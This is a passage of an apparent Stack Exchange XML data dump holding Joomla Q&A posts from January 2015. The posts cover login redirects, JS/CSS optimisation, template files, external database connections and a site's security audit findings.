Title="How to correctly set a cookieless subdomain using Joomla?" Tags="|joomla-2.5|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7095" PostTypeId="2" ParentId="7086" CreationDate="2015-01-21T09:18:16.870" Score="2" Body="&lt;p&gt;If you download the plugin &quot;JQuery Easy&quot; , if you go to Advanced Settings, you can include or exclude any css or js files you want and you can also choose what pages to exclude from the plugin to work! Pretty simple :) &lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-01-21T09:18:16.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7096" PostTypeId="1" AcceptedAnswerId="7106" CreationDate="2015-01-21T09:25:23.503" Score="5" ViewCount="2708" Body="&lt;p&gt;When the user is logged in and trying to access the homepage I need to redirect him to certain url. So basically when authorized user gets to www.example.com he's redirected to www.example.com/dashboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the way to do this?Joomla version is 3.3.6&lt;/p&gt;&#xA;" OwnerUserId="3531" LastEditorUserId="1629" LastEditDate="2015-01-21T10:48:32.550" LastActivityDate="2016-02-17T11:14:35.213" Title="Hide homepage when user is logged in" Tags="|joomla-3.x|login|redirect|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7097" PostTypeId="2" ParentId="7096" CreationDate="2015-01-21T09:45:00.407" Score="4" Body="&lt;p&gt;You can always use extension like this to redirect users on login:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/redirect-on-login&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/redirect-on-login&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3524" LastActivityDate="2015-01-21T09:45:00.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7098" PostTypeId="2" ParentId="7096" CreationDate="2015-01-21T10:00:52.437" Score="3" Body="&lt;p&gt;In addition to redirecting then when they &lt;strong&gt;try&lt;/strong&gt; to access the homepage, you can also redirect them once they have logged in. To do this, open the Login module in the &lt;strong&gt;Module Manager&lt;/strong&gt; and you will see an option on the left called &lt;strong&gt;Login Redirection Page&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your main question though, this can't be achieved using htaccess, so instead you'll need to use PHP. At first I thought a menu item would do the trick but this will only work if they &lt;strong&gt;click&lt;/strong&gt; on the menu item and not if they manually type in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would do is, open you &lt;strong&gt;index.php&lt;/strong&gt; for your template and add in the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app  = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$user = JFactory::getUser();&#xA;&#xA;if( !$user-&amp;gt;guest )&#xA;{&#xA;    if ($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()) &#xA;    {&#xA;        $app-&amp;gt;redirect(JRoute::_(JUri::root().'/dashboard');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I quickly mocked this code up but haven't yet tested it, so let me know if it works or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-21T10:00:52.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7099" PostTypeId="1" CreationDate="2015-01-21T10:51:54.747" Score="1" ViewCount="985" Body="&lt;p&gt;I would like to edit the file &lt;strong&gt;blog_style_default_item_title.php&lt;/strong&gt; so that the head of the articles appeared in the publication date and the label disappeared &quot;published:&quot; Can you help me, what is the parameter that contains the date that interests me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($params-&amp;gt;get('show_title')): ?&amp;gt;&#xA;&#xA;&amp;lt;h2 itemprop=&quot;name&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php echo JText::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', JHTML::_('dates', $this-&amp;gt;item-&amp;gt;publish_up, JText::_('d / m / Y'))); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the file is not present and is inserted to the current date and I still have to remove the label &quot;published&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="126" LastEditDate="2016-01-21T23:50:33.097" LastActivityDate="2016-01-21T23:50:33.097" Title="Edit blog_style_default_item_title.php" Tags="|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7100" PostTypeId="1" CreationDate="2015-01-21T11:31:50.837" Score="3" ViewCount="3705" Body="&lt;p&gt;I know JCH Optimize is a very good plugin to compress and minify JS and CSS files but I noticed it also adds time to the page to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, WITHOUT JCH OPTIMIZE my TTFB is 200ms but WITH JCH OPTIMIZE it's higher (from 5-600ms to 2,5 seconds!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to know if you know alternative ways to combine js and css files.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2018-09-15T13:14:59.507" Title="Dynamic JS and CSS combining without JCH Optimize" Tags="|javascript|css|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7101" PostTypeId="1" CreationDate="2015-01-21T11:37:41.137" Score="0" ViewCount="308" Body="&lt;p&gt;I'm loading three ads from Google Adsense in my Joomla website but I noticed since I did this, my website is very slower. Ads are loaded asynchronously. I tried also using the synchronous code (from google adsense page) but nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to speed up this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3530" LastActivityDate="2015-01-21T11:48:09.573" Title="Google Adsense on Joomla = Very Slow Website" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="7102" PostTypeId="2" ParentId="7100" CreationDate="2015-01-21T11:38:47.717" Score="5" Body="&lt;p&gt;JCH Optimize is one of those plugins where you should not simply select everything to be optimised and expect your site to be 2x faster in loading speeds. The more you try and optimise, the more processing the plugin must do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also reach a point, where there is no room for more optimisation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would suggest you do first is &lt;strong&gt;only&lt;/strong&gt; use JCH to minify the JS and CSS files, then compare the page load speed to your initial 200ms. If you see a performance increase, then try combining only JS &lt;strong&gt;or&lt;/strong&gt; only CSS files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember spending literally 3 full days testing loads of plugins, scripts, htaccess with different variations to get the best performance and noticed that over-doing it was not the solution.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="120" LastEditDate="2018-09-15T13:14:59.507" LastActivityDate="2018-09-15T13:14:59.507" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="7103" PostTypeId="2" ParentId="7101" CreationDate="2015-01-21T11:48:09.573" Score="1" Body="&lt;p&gt;I don't believe there is any way to speed how Google Adsense works. It's an external system that gets matching ads based on your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure about this but, logically, the better your SEO, the easier it will be for Adsense to retrieve relevant ads, thus if you have a new site, I would suggest making SEO improvements a main task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For standard site optimisation to help speed us the process of the loading times, you may want to consider Caching your assets with something like &lt;a href=&quot;http://extensions.joomla.org/extension/jch-optimize&quot; rel=&quot;nofollow&quot;&gt;JCE Optimize&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-01-21T11:48:09.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7104" PostTypeId="1" AcceptedAnswerId="7105" CreationDate="2015-01-21T11:51:53.210" Score="3" ViewCount="873" Body="&lt;p&gt;When I create custom components and I need to add a menu type to the site part I've always followed the &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_a_menu_type_to_the_site_part&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; on how to do this. In other words I create the default.xml in the view and I now can assign my component to a menu. i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            &amp;lt;![CDATA[COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_DESC]]&amp;gt;&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I have is that this also creates a label under Components in the Administrator interface. Because I have so many custom components my Components menu in the Administrator is getting quite long. It is useless for me to have these components listed in the Administrator interface as I have no extra configuration for these components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I still have my components show up as a menu type but NOT have it show up in the Components menu of the Administrator panel?&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2015-01-21T12:13:32.230" Title="Remove custom component from component menu" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7105" PostTypeId="2" ParentId="7104" CreationDate="2015-01-21T12:13:32.230" Score="2" Body="&lt;p&gt;No, it's not possible by using the API. But you can always disable menu items manually after installation. The administration panel is in fact just a mod_menu module which shows the administration menu, which is hidden in your menu management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to use a different module or alternative layout for mod_menu to exclude specific items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hint: If you want to know what happens during installation, look into &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libraries/cms/installer/adapter/component.php - line 1209 and following&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-01-21T12:13:32.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7106" PostTypeId="2" ParentId="7096" CreationDate="2015-01-21T13:44:19.037" Score="6" Body="&lt;p&gt;I've used &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-access/system-nomad&quot; rel=&quot;nofollow&quot;&gt;Nomad&lt;/a&gt; in the past - instead of redirecting, it's a system plugin that actually &lt;em&gt;overrides&lt;/em&gt; the default home page and replaces it with your choice of locations based on User Groups.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-01-21T18:26:32.667" LastActivityDate="2015-01-21T18:26:32.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7107" PostTypeId="2" ParentId="7085" CreationDate="2015-01-21T15:25:24.993" Score="1" Body="&lt;pre&gt;&lt;code&gt;$post['recaptcha_response_field']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post-&amp;gt;get('recaptcha_response_field')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-01-21T15:25:24.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7109" PostTypeId="1" AcceptedAnswerId="7117" CreationDate="2015-01-21T18:06:20.277" Score="0" ViewCount="90" Body="&lt;p&gt;It seems that Joomla is set by default to filter the some of the files with different file extensions. Physically the file in question with *.obj(Wavefront) extension exist on server side but I can not find and view it in the Joomla interface when we view under the template manager Details and Files. I confirmed that the file exist on server side with FileZilla.&lt;/p&gt;&#xA;" OwnerUserId="3452" LastActivityDate="2015-01-21T21:49:53.347" Title="*.obj file extension is filtered in Joomla 3.x and browser" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="3" ClosedDate="2015-01-22T08:40:51.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="7110" PostTypeId="1" CreationDate="2015-01-21T18:23:06.683" Score="0" ViewCount="1280" Body="&lt;p&gt;I have developed a site on joomla 2.5 and according to the audit report there are some issues with the website.I couldn't figure out some of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are the issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Session does not expire&lt;/strong&gt; - Make sure when you clicked on back button after logout, it should be redirect to home page instead of previous authenticated pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to set the login module to navigate the page to the homepage after a logout from the user.Now if the user clicks back he still sees the &quot; edit &quot; button for the article there but it won't work for him.Now the problem is that the audit wants me to stop the user from being able to use back button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Injection ( guest book) - unable to check because link goes to email id with html tag so please stop this html tag also before sending to anywhere.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a guest book for comments and the audit says the HTML Injection he does must be stopped.How do i strip the special characters from these textboxes so the HTML Injection is prevented ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No Captcha Implementation – Please implement captcha on login page - - -&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have literally tried all of the things to get the CAPTCHA on the login page.Nothing works.The audit wants to stop the brute force attack.How do i stop the brute force attack on the login page ? The CAPTCHA is implemented on all other pages except for login.Don't know why Joomla doesn't provide the captcha facility for login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use encryption technique ( password ) - - -&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;isn't the password in the joomla encrypted before being sent over network ? if it is why isn't it being encoded for me ? if it is how do i encode it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Click jacking&lt;/strong&gt; - Use X-Frame Option.Now what is this exactly ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Improper Input Validation ( contact-us )&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;accepting special characters .How do i stop the special characters being added to the fields ? and stop HTML Injection ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again - doesn't joomla by default use a &lt;strong&gt;autocomplete=off&lt;/strong&gt; for all the password fields ? how do i set autocomplete off for all of my password fields ?&lt;/p&gt;&#xA;" OwnerUserId="3536" LastActivityDate="2015-01-21T19:58:41.980" Title="Joomla 2.5.28 Security issues" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="3" ClosedDate="2015-01-21T21:13:03.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="7111" PostTypeId="2" ParentId="6935" CreationDate="2015-01-21T19:00:24.307" Score="3" Body="&lt;p&gt;First thing is that resellerclub scam is not any visitor, but just a part of ilovevitaly.com which is affecting millions of Websites. They do not visit your Website, they just appears in your google analytics and badly affects your rankings and SEOs. It is trying to misguide you that it is recommended from google, so please be aware of these type of spam traffics which is nonhuman and operated by Russian organisation “Hosting Telesystems network”.&#xA;Same problem i was facing in my analytics and then i found this link and my problems is solved now. i am definitely sure the resellerclub scam refferal traffic would stop. Please follow the below article :-&#xA;&lt;a href=&quot;http://techgnews.com/tips-tricks/resellerclub-scam/&quot; rel=&quot;nofollow&quot;&gt;http://techgnews.com/tips-tricks/resellerclub-scam/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3537" LastActivityDate="2015-01-21T19:00:24.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7112" PostTypeId="1" AcceptedAnswerId="7140" CreationDate="2015-01-21T19:36:51.573" Score="2" ViewCount="87" Body="&lt;p&gt;I'm looking to alter the menu structure of my site, to add better segmentation and ultimately create a portion of the site for google news. As it exists right now, my menu structure looks something like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.example.com/article &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I'm looking to translate it to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.example.com/news/articles &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will help me to delimit the sections of the site that I would like to submit as news articles. How would I go about doing this? Hopefully I'm being clear, let me know if you need any clarification. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2015-01-22T14:03:46.983" Title="Joomla Menu Structuring" Tags="|joomla-3.x|menu|url|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7113" PostTypeId="2" ParentId="7110" CreationDate="2015-01-21T19:58:41.980" Score="1" Body="&lt;p&gt;Suggestions on some of questions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Subscribe and install Admin Tools Pro&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a simple firewall that &lt;strong&gt;blocks brute force attacks on log in&lt;/strong&gt;. It also adds &lt;strong&gt;extra input validation&lt;/strong&gt;, but I do not know, if that would satisfy your audit as it only checks inputs for a number of specific issues and I do not understand what exactly your audit means with HTML injection. Check the &lt;a href=&quot;https://www.akeebabackup.com/documentation/admin-tools.html&quot; rel=&quot;nofollow&quot;&gt;Admin Tools online documentation&lt;/a&gt;, if it blocks the specific issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use HTTPS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Encrypting the password on log in form is useless without HTTPS to protect the page from tampering and redundant if you use HTTPS since everything is encrypted anyway. If you have audits, you should do the bother of setting up the proper certificates and then force use of SSL on the site. In some cases using SSL is only necessary for administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;autocomplete&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fields do seem to support turning autocomplete off (see /libraries/joomla/form/fields/password.php and the variable $auto), but I am not sure if particular components and forms have that setting available. But if you want it on everywhere and are using a version of Joomla that is no longer updated, you can edit the file I pointed out to have it always add this attribute. No guarantees if it will work. (No Joomla available for testing right now...)&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-21T19:58:41.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7114" PostTypeId="2" ParentId="7096" CreationDate="2015-01-21T20:09:27.790" Score="0" Body="&lt;p&gt;You could do the quick and dirty method, ie a custom HTML that has registered for access and is visible only on the home page, then &lt;a href=&quot;https://stackoverflow.com/questions/4744751/how-do-i-redirect-with-javascript&quot;&gt;redirect with javascript&lt;/a&gt;. It works well enough if the position is in the beginning of the page. I'd presume those plugins for adding custom javascript can do this as well.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-01-21T20:09:27.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7115" PostTypeId="1" CreationDate="2015-01-21T20:25:18.600" Score="1" ViewCount="325" Body="&lt;p&gt;We have a multi-site configuration. Some sites are English and some are other languages. My problem is that my site in English has a featured article set as the Home page. If you go to another site and type this in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.examplesite1.com/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will show the content from my main site. The problem is typing in the &lt;code&gt;index.php&lt;/code&gt; part. I obviously don't want this. It is not a problem for my other sites using a different language because I can assign a different home page. But for all the English sites I have it uses the same Home page. AFAIK you can't assign multiple home pages to the same language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use Advanced module manager and move this into a separate module and create an assignment to only the proper domain but that doesn't' work. Anyone know of any alternatives I can try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't do anything special for this multi-site configuration just a &lt;a href=&quot;https://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow&quot;&gt;simple template redirect&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2015-03-23T07:00:31.017" Title="Multiple-site configuration for home page" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7116" PostTypeId="2" ParentId="7115" CreationDate="2015-01-21T20:42:27.497" Score="1" Body="&lt;p&gt;By default, Joomla does not have a multiple-site configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to manage several independent sites on the same hosting account, then you can create hostings on subdirectories or subdomains. All of these alternatives have to be defined at hosting level.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-21T20:42:27.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7117" PostTypeId="2" ParentId="7109" CreationDate="2015-01-21T21:49:53.347" Score="0" Body="&lt;p&gt;From the templates component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = JComponentHelper::getParams('com_templates');&#xA;$imageTypes = explode(',', $params-&amp;gt;get('image_formats'));&#xA;$sourceTypes = explode(',', $params-&amp;gt;get('source_formats'));&#xA;$fontTypes = explode(',', $params-&amp;gt;get('font_formats'));&#xA;$archiveTypes = explode(',', $params-&amp;gt;get('compressed_formats'));&#xA;$types = array_merge($imageTypes, $sourceTypes, $fontTypes, $archiveTypes);&#xA;if (in_array($ext, $types))&#xA;{&#xA;$relativePath = str_replace($this-&amp;gt;element, '', $dir);&#xA;$info = $this-&amp;gt;getFile('/' . $relativePath, $value);&#xA;$result[] = $info;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it only shows files that are in one of its lists of extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit those lists from the template manager options. The options button should be on the top when you open the template manager.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-21T21:49:53.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7118" PostTypeId="1" AcceptedAnswerId="7119" CreationDate="2015-01-21T23:08:58.620" Score="0" ViewCount="589" Body="&lt;p&gt;I would like to have a Joomla site send queries to an external database (via API) and then return the query results and display them in Joomla.  I cannot find a book or tutorial that explains Joomla development in enough detail to figure out how to do this.&lt;br&gt;&#xA;Can someone recommend a book or tutorial to get me started? Thanks&lt;/p&gt;&#xA;" OwnerUserId="3538" LastActivityDate="2015-01-22T06:40:53.533" Title="Interfacing Joomla to an external database to return search results" Tags="|joomla-api|" AnswerCount="2" CommentCount="1" ClosedDate="2015-01-22T08:46:38.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="7119" PostTypeId="2" ParentId="7118" CreationDate="2015-01-21T23:22:41.963" Score="1" Body="&lt;p&gt;If you are integrating a database, supported by a Joomla driver, you can simply call if via JDatabaseDriver:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Connecting_to_an_external_database&quot; rel=&quot;nofollow&quot;&gt;Connecting to an external database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$option = array(); //prevent problems&#xA;&#xA;$option['driver']   = 'mysql';            // Database driver name&#xA;$option['host']     = 'db.myhost.com';    // Database host name&#xA;$option['user']     = 'fredbloggs';       // User for database authentication&#xA;$option['password'] = 's9(39s£h[%dkFd';   // Password for database authentication&#xA;$option['database'] = 'bigdatabase';      // Database name&#xA;$option['prefix']   = 'abc_';             // Database prefix (may be empty)&#xA;&#xA;$db = JDatabaseDriver::getInstance( $option );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you have to install and develop with a specific PHP library, beyond Joomla supported drivers.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-01-21T23:22:41.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7120" PostTypeId="2" ParentId="7100" CreationDate="2015-01-22T00:20:43.720" Score="2" Body="&lt;p&gt;Other alternatives you could use are glup or Grunt. These would work outside of joomla, by setting it up with the files to use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would though not easily manage css and js from extensions that JCH would, as it scans the blocks of code on the way in, to the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So maybe you will need to decide if your initial page load slower is worth the smaller and less requests that combined files will give you.&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2015-01-22T00:20:43.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7121" PostTypeId="1" AcceptedAnswerId="7131" CreationDate="2015-01-22T01:14:30.583" Score="1" ViewCount="153" Body="&lt;p&gt;I have this link right here which I got on the restore button from versions in article manager. I was wondering on what specific task was loadhistory, since I cannot find it on com_content/controllers/article.php :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/BDES3/administrator/index.php?option=com_content&amp;amp;task=article.loadhistory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this seems noobish, I just want to know the flow in the article versioning of Article Manager wherein I am able to select a previous version of the article and then restore it to make it the current article in the edit form, as well as update the com_content table for the current restored article.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastActivityDate="2015-01-23T07:16:56.970" Title="com_content task not on the controller's method?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7122" PostTypeId="2" ParentId="7121" CreationDate="2015-01-22T05:00:30.710" Score="1" Body="&lt;p&gt;For content versioning there is a separate component in joomla named as  &lt;strong&gt;com_contenthistory&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this component, you will find this mentioned task (loadhistory) in history model.&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-01-22T05:00:30.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7123" PostTypeId="2" ParentId="7118" CreationDate="2015-01-22T06:40:53.533" Score="0" Body="&lt;p&gt;If you want to integrate the results with Joomla search, a good starting point would be reading the &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_search_plugin&quot; rel=&quot;nofollow&quot;&gt;Joomla tutorial for search plugins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have it separate from other search, you may want to create a module or even a light weight component. There are lots of components and plugins that allow you to add your own PHP code to a page. Sourcerer is one often mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The starting point though should be studying this unnamed API so you can do the search and get result. The rest is relatively trivial other than having to choose the method you want to use to make the results visible to in Joomla! to match your unspecified needs. &lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-01-22T06:40:53.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7124" PostTypeId="2" ParentId="7086" CreationDate="2015-01-22T06:43:00.410" Score="3" Body="&lt;p&gt;Adding custom css and javascript files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;addLess('master', 'template')&#xA;-&amp;gt;addLess('presets',  'presets/'.$this-&amp;gt;helix-&amp;gt;Preset())&#xA;-&amp;gt;addJs('main.js,demo.js')&#xA;-&amp;gt;addCSS('demo.css,template.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1983" LastEditorUserId="1983" LastEditDate="2015-01-22T07:04:17.657" LastActivityDate="2015-01-22T07:04:17.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7125" PostTypeId="1" CreationDate="2015-01-22T07:16:26.563" Score="2" ViewCount="1296" Body="&lt;p&gt;In Joomla 2.5 it is possible to get the current language of a visitor in an external script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe = JFactory::getApplication('site');&#xA;$mainframe-&amp;gt;initialise();&#xA;$jdocument = JFactory::getDocument();&#xA;$jdocument-&amp;gt;getLanguage();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't find out how to get the language in Joomla 3.3. The framework loads, but the language is always defined as 'en'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve also tried various other options like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$japplication = JApplicationWeb::getInstance();&#xA;$japplication-&amp;gt;initialise();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Did anyone experience the same issue? Is this a Bug?&lt;/p&gt;&#xA;" OwnerUserId="3541" LastActivityDate="2015-03-26T15:41:23.023" Title="Get current language in external script (Joomla 3.3)" Tags="|joomla-3.x|joomla-api|language|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
